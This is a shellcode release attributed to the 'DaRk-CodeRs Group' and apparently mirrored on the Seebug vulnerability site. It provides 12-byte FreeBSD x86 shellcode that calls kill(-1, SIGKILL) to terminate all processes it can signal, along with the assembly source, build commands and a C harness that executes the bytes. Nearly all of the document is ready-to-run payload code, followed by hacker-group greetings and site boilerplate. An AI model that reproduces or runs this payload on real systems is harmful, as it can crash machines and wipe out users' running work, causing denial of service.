***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group productions, kid [FreeBSD x86 kill all procesess 12 bytes shellcode] Compile: nasm -f elf code.asm ld -e _start -o code code.o Assembly code: ---------------------code.asm------------------- section .text global _start _start: xor eax, eax push byte 9 ; SIGKILL dec eax push eax ; -1 (0xffffffff) inc eax mov al, 37 ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details push eax int 0x80 ---------------------code.asm------------------- And C code: ---------------------code.c--------------------- #include <stdio.h> char shellcode[]= "\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80"; int main() { int (*func)(); func=(int (*)())shellcode; (int)(*func)(); } ---------------------code.c--------------------- Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor Visit : www.dark-coders.pl
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论